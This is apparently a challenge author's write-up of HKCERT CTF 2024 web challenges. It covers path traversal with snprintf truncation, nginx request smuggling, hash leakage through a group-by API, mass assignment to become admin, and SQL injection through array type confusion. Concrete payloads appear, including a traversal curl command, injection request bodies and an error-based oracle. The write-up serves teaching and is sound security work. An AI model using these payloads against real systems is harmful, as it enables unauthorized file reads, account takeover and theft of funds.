HKCERT CTF 2024 Quals Writeup (III): The Web Challenges
Surprisingly, I also wrote three series of web challenges this year: Custom Web Server, Mystiz’s Mini CTF and ⚡. They are all inspired from the real-life – either from security reviews or the bugs I came across while developing web apps.
Custom Web Server (1)⌗
Challenge Summary⌗
Someone said: ‘One advantage of having a homemade server is that it becomes much harder to hack.’ Do you agree? Give reasons.
Note: The files in
src/public
are unrelated for the challenge.Attachment: custom-server-1_6d8967a25def900543b2f8f012b7e673.zip
This challenge implements a minimalistic web server written in C that serves static pages. The goal is to read the flag, which is located in /flag.txt
.

Solution⌗
The HTTP requests will be handled in the handle_client
method. When GET /...
is received, it will proceed and run read_file
below:
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);
FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;
// snipped...
}
There are two vulnerabilities in the above function.
🐛 Vulnerability 1. Directory traversal to the parent directories
We can set the file name to be ../test.png
to read the files outside public/
. With this, we are able to arbitrary files that have the extension .png
, .css
or .js
.
🐞 Vulnerability 2. Path truncation in snprintf
snprintf
will truncate the resulting string without errors if it is longer than expected. Assume now that sizeof(real_path) == 20
and we set filename
to be testing1.txt.jpg
, the value of real_path
after the line snprintf(real_path, sizeof(real_path), "public/%s", filename)
would be public/testing1.txt
, and the trailing .jpg
was truncated.
The first vulnerability allows us to read files from the parent directories, and the second allows us to bypass the extension whitelist (.html
, .css
, and so on).
With a similar idea, we can set the filename to be
//[✂️ snipped]//../../flag.txt.js
<-- 1002 /'s -->
In this case, it will try to access public/../../flag.txt
, effectively /flag.txt
. We can use the below command (note the --path-as-is
flag):
curl --path-as-is http://HOSTNAME///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////../../flag.txt.js
# hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}
Custom Web Server (2)⌗
Challenge Summary⌗
Someone said: ‘One advantage of having a homemade server is that it becomes much harder to hack.’ Do you agree? Give reasons.
What is the difference between this and the first part? I will also use nginx to proxy your requests this time!
Note: The files in
src/public
are still unrelated for the challenge.Attachment: custom-server-2_ceb1b67883e9927a349ecc1cafa138a5.zip
The challenge is similar to the first part, except that the web server is hosted behind a nginx instance.
user www-data;
thread_pool default threads=1 max_queue=65536;
events {
worker_connections 1024;
}
http {
upstream backend {
server web:8000;
keepalive 32;
}
server {
listen 80;
server_name proxy;
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
}
}
}
Solution⌗
No, the solution doesn’t work anymore⌗
Now we are talking to the web server via nginx, which will relay our requests with some changes. The most important change is that nginx will normalize the request path. For instance, the payload we used in Custom Web Server (1) will be simplified to /flag.txt.js
. The normalization imposes two problems:
../
is removed to mitigate the directory traversal attack. We cannot read files outside thepublic
folder.- Consecutive slashes, for instance
//////
, are normalized into a single slash. We cannot readflag.txt
even if it is located in the public directory.
“Squeezing” two requests into one request⌗
This challenge is vulnerable, however, because nginx and the custom server (mystiz-web
) handle the request differently. Assuming that we are sending a normalized request (i.e., nginx will change nothing):
- nginx is able to handle a request with arbitrary size according to the
Content-Length
header mystiz-web
can only read up to 1024 bytes per request
In this case, we can send a request so that nginx thinks that it is a single request, and mystiz-web
thinks that there are two.
Below is an example of this to happen. nginx adds a new entry Connection: close
to the header. Also, the last line is considered as the request body of the only request. It is then sent to mystiz-web
. mystiz-web
will split the requests into chunks of 1024 bytes, one to /index.html
and one to /../../flag.txt
.

Therefore, mystiz-web
will be reading both public/index.html
and /flag.txt
. However, nginx will not be responding /flag.txt
to us because they only see one request going on.

To make nginx respond to the second request, we have to convince that there are two requests. We can concatenate the existing request with a request to /index.html
:

Connection: close
ourselves? We want to maintain our connection with nginx. If the header is added, the connection will be closed when we send the second request. With that said, we would not get the second response.
Now nginx sees two requests, so it will try to gather two responses:

mystiz-web
. In this case, nginx would like to collect the first response from each of the instances, both being public/index.html
.
Mystiz’s Mini CTF (1)⌗
Challenge Summary⌗
“A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd.”
I am working on yet another CTF platform. I haven’t implement all the features yet, but I am confident that it is at least secure.
Can you send me the flag of the challenge “Hack this site!”?
Attachment: minictf-1_bc36d27733c38dceeec332324267b77d.zip

The players are asked to find a flag for a challenge that has only one solver, and the solver has a weak password (composed of 6 hexadecimal characters).
Solution⌗
From the migration file (web/migrations/versions /96fa27cc07b9_init.py
), we can see that the user player
has solved the challenge “Hack this site!”. Notably, their password is generated by os.urandom(3).hex()
, where there are only $2^{24} \approx 1.68 \times 10^7$ options. Maybe we can try to exhaust the password on the login endpoint?
Turns out we cannot. The login endpoint has a rate limit being two requests per minute. It would be good if we could exhaust the (hashed) password and guess it offline.
Interestingly, in /api/__init__.py
, there is a GroupAPI
class that implements a “group” feature in the list resource endpoints. We can activate that by adding the group
parameter. For instance, the API GET /challenges/?group=category
is used to group the challenges by category:
{
"challenges": {
"web": [
{"id": 1, "category": "web", "title": "...", "description": "...", ...}
],
"crypto": [
{"id": 2, "category": "crypto", "title": "...", "description": "...", ...}
]
"reverse": [
{"id": 3, "category": "reverse", "title": "...", "description": "...", ...}
],
...
}
}
Although not used by the front-end, the User
and Attempt
models are also serving the APIs with GroupAPI
. With that said, we are able to group users by their attributes. In particular, we can group users by their passwords. This is what GET /users/?group=password
looks like:
{
"users": {
"1ae605f9.86cf107e81233595ce4d0cdbcece20e177e7cd22bcd27d07fb3ba10a6ad6a712": [
{"id": 1, "is_admin": true, "score": 0, "username": "admin"}
],
"77364c85.744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94": [
{"id": 2, "is_admin": false, "score": 500, "username": "player"}
]
}
}
Now we have the hashed password. We can check the source code for compute_hash
in app/util.py
on how the hash is computed.
def compute_hash(password, salt=None):
if salt is None:
salt = os.urandom(4).hex()
return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()
With that, we can write a script to exhaust passwords locally. After retrieving the user password, we can sign in as the user. Similarly, we can leak the flag
via the Attempt
model, and accessing /attempts/?group=flag
would bring us the flag:
hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}
Mystiz’s Mini CTF (2)⌗
Challenge Summary⌗
“A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd.”
I am working on yet another CTF platform. I haven’t implement all the features yet, but I am confident that it is at least secure.
Can you send me the flag of the challenge “A placeholder challenge”?
Attachment: minictf-1_bc36d27733c38dceeec332324267b77d.zip
This is a sequel to Mystiz’s Mini CTF (1), where the players are asked to find the flag for a challenge that will be available one year later. The challenge is only accessible by admins until it is released.
Solution⌗
The flag is directly in the description of the challenge. However, it will be released after a year, and a normal player will be unable to check that out until then. An admin could access them via the GET /api/admin/challenges/
endpoint, though.
Also, the password for admins is generated by os.urandom(33).hex()
, it is impossible for someone to get the password from its digest.
Instead, in the POST /register/
endpoint, it takes the entirety of the user form and populates it to the User
model. Although the users are only given the fields for username
and password
, they could create some additional fields like is_admin
. Setting is_admin=1
will make the created user an admin. After that, we are able to retrieve the hidden challenge using the challenge management API:
hkcert24{y0u_c4n_wr1t3_unsp3c1f13d_4t7r1bu73s_t0_th3_us3r_m0d3l}
⚡⌗
Challenge Summary⌗
The transaction fee in Ethereum is high. People researched in off-chain solutions like Raiden. Introducing ⚡, an open-source project that everyone can audit its source code!
Register an account and enjoy zero transaction fees (except the first and the last transfers)!
Attachment: zap_f9df08d202eed40a94431209ee684a6a.zip
⚡ is a web app implemented in Node.js that moves Ethereum transactions offline, simply maintaining the amounts with a database. There are three related endpoints:
transfer
transfers the specified ETH to the designated account,withdraw
sends you the flag if they have 10 ETH in their ⚡ account. No money will be transferred to the mainnet, however.deposit
adds the amount of the transaction from the mainnet to their ⚡ account.
Initially, there is 1 ETH in the service account for ⚡. The objective is to get 10 ETH in an account owned by the player.

Solution⌗
The insecure getBufferFromHex
⌗
getBufferFromHex
is used multiple times to handle the user data.
function getBufferFromHex(hexString, byteLength) {
if (hexString.length !== 2 + 2*byteLength) return
const regex = new RegExp(`0x[0-9a-f]{${2 * byteLength}}`)
if (!regex.test(hexString)) return
const buffer = Buffer.from(`${hexString}`.slice(2), 'hex')
if (buffer.length !== byteLength) return
return buffer
}
hexString
usually comes from the user input. It seemed that the check is strict, but that there is a critical miss – hexString
might not be a string. For instance, when byteLength == 20
, users can send an array of length 42 and still pass the first check.
Surprisingly, Buffer.from(..., 'hex')
would truncate strings silently if the source is not valid hexstrings. For instance,
Buffer.from('41414141', 'hex') === 'AAAA'
// the trailing 4 is dropped
Buffer.from('414141414', 'hex') === 'AAAA'
// the non-hexadecimal characters are truncated
Buffer.from('41414141invalid string414141', 'hex') === 'AAAA'
The below hexString
would pass all checks and return AAAA...A
as a result. The returned buffer is used to go through more checks like signature validation:
["0x4141414141414141414141414141414141414141", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""]
A SQL injection⌗
It is obvious that the SQL queries for ⚡ are built with format strings, not prepared statements. For example, this is how the queries looked in the POST /login
endpoint:
`SELECT COUNT(*) as count FROM users WHERE account = '${account}'`
`INSERT INTO users (account, deposit_nonce, transaction_nonce, balance) VALUES ('${account}', '${depositNonce}', '${transactionNonce}', 0)`
`INSERT INTO transactions (from_account, to_account, amount, time) VALUES ('${process.env.SERVICE_WALLET_ACCOUNT}', '${account}', '0', strftime('%Y-%m-%dT%H:%M:%SZ','now'))`
Here account
is an unsantized payload controlled by the player. As discussed above, it is insufficient to validate it with the getBufferFromHex
function.
0x71f...f7
), user account 1 (0xaaa...aa
) and user account 2 (0xbbb...bb
). The user accounts need not be 0xaaa...aa
and 0xbbb...bb
. They are chosen for illustration purposes.
Exploit 1: Stealing funds from the service account⌗
To steal funds from the service account, we would want to achieve the below:
- Sign in as the service account. This is impossible, but we can mimic the behaviour.
- Call
/transfer
with the service account’stransaction_nonce
.
Leaking service account’s transaction nonce⌗
We can use the below request body and send that to the /login
endpoint.
{
"account": ["0xaaa...aaxx' OR account = '0x71f...f7' AND transaction_nonce LIKE '1337%' -- ", "", "", /* omitted */, ""],
"signature": "0x111...11" // NOTE: we need the correct signature for this to work
}
Below is the first SQL query the endpoint executes, prettified:
SELECT COUNT(*) as count
FROM users
WHERE
account = '0xaaa...aaxx' OR
account = '0x71f...f7' AND transaction_nonce LIKE '1337%'
-- ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
If the service account’s transaction nonce starts with 1337
, the subsequent queries will be skipped and it will return HTTP 200. Otherwise, it will attempt to insert a new row to the user.
INSERT INTO users (account, deposit_nonce, transaction_nonce, balance)
VALUES (
'0xaaa...aaxx' OR account = '0x71f...f7' AND transaction_nonce LIKE '...' -- ,,,...,, 'ed6...5d', 'fc1...de', 0)
Since the snippet above is an invalid SQL query, it will trigger an exception, causing the endpoint to return an HTTP 500 error. This creates an error-based oracle, allowing us to recover the transaction nonce.
Signing in as the service account⌗
We can send the following payload to the /login
endpoint “sign in” as the service account:
{
"account": ["0xaaa...aaxx' OR account = '0x71f...f7' -- ", "", "", /* omitted */, ""],
"signature": "0x111...11" // NOTE: we need the correct signature for this to work
}
During /login
, the signature is validated against 0xaaa...aa
(the first user account). The session will be set to the above account, which is an array of 42 entries, too.
The stored account would lead to another injection which makes the SQL retrieve the service account. In this way, we can manipulate the service account without knowing its private key. Knowing the transaction nonce for the service account, we can transfer the funds from the service account to ourselves.
Exploit 2: Duplicating funds⌗
Now we only have 1 ETH, and we need 10 ETH for the flag. Therefore, we would need some ways to duplicate our funds. To double the current amount for user account 1, we can call the /transfer
endpoint with the below payload:
{
"to_account": ["0xbbb...bb' or 1 -- ", "", "", /* omitted */, ""],
"amount": 1,
"signature": "0x111...11" // NOTE: we need the correct signature for this to work
}
This would transfer 1 ETH to everyone because the below SQL query is made to add funds to the beneficiary account:
UPDATE users
SET balance = balance + 1000000000000000000 /* 1 ETH = 10^18 wei */
WHERE account = '0xbbb...bb' or 1
-- ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
INSERT INTO transactions ...
query is failing.
With that, we have 1 ETH in both the two user accounts. We can repeat the process until we have 10 ETH. Eventually, we have the flag:
hkcert24{h0p3_y0u_pa1d_10_e7h3r_f0r_th3_fl49}